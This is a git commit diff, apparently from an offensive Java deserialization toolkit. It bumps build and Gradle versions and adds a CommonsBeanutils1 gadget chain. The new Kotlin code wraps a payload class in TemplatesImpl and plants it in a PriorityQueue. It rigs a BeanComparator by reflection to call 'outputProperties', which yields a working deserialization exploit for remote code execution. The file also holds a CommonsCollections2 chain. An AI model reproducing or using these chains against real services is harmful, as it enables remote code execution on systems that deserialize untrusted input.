Add CommonsBeanutils1 chain

Signed-off-by: XhstormR <[email protected]>

Author: XhstormR

build.gradle.kts

@@ -12,7 +12,7 @@ buildscript {
 plugins {
     idea
     application
-    kotlin("jvm") version "1.3.72"
+    kotlin("jvm") version "1.4.0"
     id("org.jlleitschuh.gradle.ktlint") version "9.3.0"
 }
 
@@ -32,6 +32,8 @@ dependencies {
     compileOnly("org.apache.tomcat.embed:tomcat-embed-core:9.+")
 
     implementation("org.apache.commons:commons-collections4:4.0")
+
+    implementation("commons-beanutils:commons-beanutils:1.9.2")
 }
 
 tasks {
@@ -64,7 +66,7 @@ tasks {
     }
 
     withType<Wrapper> {
-        gradleVersion = "6.5"
+        gradleVersion = "6.6"
         distributionType = Wrapper.DistributionType.ALL
     }
 

gradle/wrapper/gradle-wrapper.jar

@@ -1,5 +1,5 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-all.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-6.6-all.zip
 zipStoreBase=GRADLE_USER_HOME
 zipStorePath=wrapper/dists

gradle/wrapper/gradle-wrapper.properties

@@ -130,7 +130,7 @@ fi
 if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
     APP_HOME=`cygpath --path --mixed "$APP_HOME"`
     CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
-    
+
     JAVACMD=`cygpath --unix "$JAVACMD"`
 
     # We build the pattern for arguments to be converted via cygpath

gradlew

@@ -40,7 +40,7 @@ if defined JAVA_HOME goto findJavaFromJavaHome
 
 set JAVA_EXE=java.exe
 %JAVA_EXE% -version >NUL 2>&1
-if "%ERRORLEVEL%" == "0" goto init
+if "%ERRORLEVEL%" == "0" goto execute
 
 echo.
 echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
@@ -54,7 +54,7 @@ goto fail
 set JAVA_HOME=%JAVA_HOME:"=%
 set JAVA_EXE=%JAVA_HOME%/bin/java.exe
 
-if exist "%JAVA_EXE%" goto init
+if exist "%JAVA_EXE%" goto execute
 
 echo.
 echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
@@ -64,29 +64,14 @@ echo location of your Java installation.
 
 goto fail
 
-:init
-@rem Get command-line arguments, handling Windows variants
-
-if not "%OS%" == "Windows_NT" goto win9xME_args
-
-:win9xME_args
-@rem Slurp the command line arguments.
-set CMD_LINE_ARGS=
-set _SKIP=2
-
-:win9xME_args_slurp
-if "x%~1" == "x" goto execute
-
-set CMD_LINE_ARGS=%*
-
 :execute
 @rem Setup the command line
 
 set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
 
 
 @rem Execute Gradle
-"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
 
 :end
 @rem End local scope for the variables with windows NT shell

gradlew.bat

@@ -27,12 +27,14 @@
     <fields>;
 }
 
+-keep class org.apache.commons.logging.** { *; }
+
 -keepclasseswithmembers class com.xhstormr.app.*Filter {
     <methods>;
 }
 
 -dontwarn javax.**
--dontwarn org.apache.catalina.**
+-dontwarn org.apache.**
 
 -printusage ../build/usage.txt
 -printmapping ../build/mapping.txt

proguard/proguard-rules.pro

@@ -1,17 +1,42 @@
 package com.xhstormr.app
 
 import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
+import org.apache.commons.beanutils.BeanComparator
 import org.apache.commons.collections4.Transformer
 import org.apache.commons.collections4.comparators.TransformingComparator
 import org.apache.commons.collections4.functors.ChainedTransformer
 import org.apache.commons.collections4.functors.ConstantTransformer
 import org.apache.commons.collections4.functors.InstantiateTransformer
 import org.apache.commons.collections4.functors.InvokerTransformer
+import java.math.BigInteger
 import java.util.PriorityQueue
 import javax.xml.transform.Templates
 
 enum class Chain {
 
+    CommonsBeanutils1 {
+        override fun generate(payload: Class<*>): Any {
+            val templates = Gadgets.createTemplatesImpl(payload)
+            // mock method name until armed
+            val comparator = BeanComparator<Any>("lowestSetBit")
+
+            // create queue with numbers and basic comparator
+            val queue = PriorityQueue(2, comparator)
+            // stub data for replacement later
+            queue.add(BigInteger("1"))
+            queue.add(BigInteger("1"))
+
+            // switch method called by comparator
+            comparator.setFieldValue("property", "outputProperties")
+
+            // switch contents of queue
+            val queueArray = queue.getFieldValue("queue") as Array<Any>
+            queueArray[0] = templates
+            queueArray[1] = templates
+            return queue
+        }
+    },
+
     CommonsCollections2Chain {
         override fun generate(payload: Class<*>): Any {
             val templates = Gadgets.createTemplatesImpl(payload)